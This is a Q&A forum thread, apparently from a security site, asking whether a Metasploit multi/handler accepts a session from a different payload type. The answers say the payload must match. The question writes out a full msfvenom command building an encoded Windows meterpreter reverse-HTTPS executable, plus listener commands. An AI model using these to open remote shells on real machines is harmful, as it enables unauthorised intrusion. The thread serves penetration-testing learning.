0

Can the handler exploit/multi/handler handle a connection from another type of payload ?

payload generation:

msfvenom LHOST=IP LPORT=PORT -f exe -e x86/shikata_ga_nai -p windows/meterpreter_reverse_https -o payload.exe

Listener:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter_reverse_tcp
set LHOST "IP"
set LPORT "PORT"
exploit

when the target launch the "payload.exe", a session will open in the attacker console ?

  • 1
    Do you mean concurrently on the same multi/handler module? If so, the answer is no. It can, however, handle more than one connection of the same payload type and the same settings from various victims. This would open multiple sessions on your handler allowing you to switch accordingly. – zyk May 28 at 16:44
  • it MUST be exactly the same payload, ok.thanks – Gabriel Piot May 28 at 17:25
1

Your handler has been set with a specific payload (since it requires knowledge of a few details before it can correctly run the payload), so connections from different payloads will eventually be dropped.

It will however accept multiple connections with the same payload (as mentioned in the comments).

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.